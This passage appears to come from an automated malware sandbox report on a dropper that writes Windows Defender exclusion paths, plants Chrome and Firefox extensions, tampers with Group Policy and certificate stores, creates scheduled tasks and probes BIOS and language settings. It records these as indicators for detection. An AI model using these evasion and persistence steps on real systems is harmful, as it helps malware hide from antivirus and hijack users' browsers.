Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oWxSecJNU = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\eiYaNjTCbhfbMeVB = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oWxSecJNU = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\biwNYXhGTKCQxjLv = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\rundll32.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A

Indirect Command Execution

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\forfiles.exe N/A
N/A N/A C:\Windows\SysWOW64\forfiles.exe N/A

Reads user/profile data of web browsers

spyware stealer

Checks installed software on the system

discovery

Drops Chrome extension

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_97769FA94627046053C91C794A3C7311 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4FA45AE1010E09657982D8D28B3BD38E_97769FA94627046053C91C794A3C7311 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat C:\Windows\SysWOW64\rundll32.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\XoWamSN.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\XoWamSN.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\XoWamSN.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\YNUWFfCEdUiU2\PMgTDtQ.xml C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\TbMpbDZ.xml C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\LsajhStaXkJRC\xTGFBLU.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\oWxSecJNU\RFGJHj.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\oWxSecJNU\uDWRPTz.xml C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\YNUWFfCEdUiU2\PRJFOGkJxHNjT.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\uUgBOCv.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\LsajhStaXkJRC\RisrdYR.xml C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
File created C:\Program Files (x86)\QpigBxJgKxUn\bZjPfuH.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\FTlmQXMDCFpnewAuq.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\zeLHdclAQOoTZxj.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\dBpreMcpfXbehynYz.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\bJbhxhmwQPPePEjnjA.job C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language \??\c:\windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\setup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\XoWamSN.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wscript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F1270663-7083-47A2-ADE4-A415B58BF384}\WpadDecisionReason = "1" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07\WpadDetectedUrl C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00ab000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Windows\SysWOW64\rundll32.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings C:\Windows\SysWOW64\wscript.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" C:\Windows\SysWOW64\wscript.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07\WpadDetectedUrl C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07 C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F1270663-7083-47A2-ADE4-A415B58BF384} C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07\WpadDecisionTime = 20f54b047430db01 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-ce-87-45-3d-07\WpadDecisionTime = 20f54b047430db01 C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe N/A
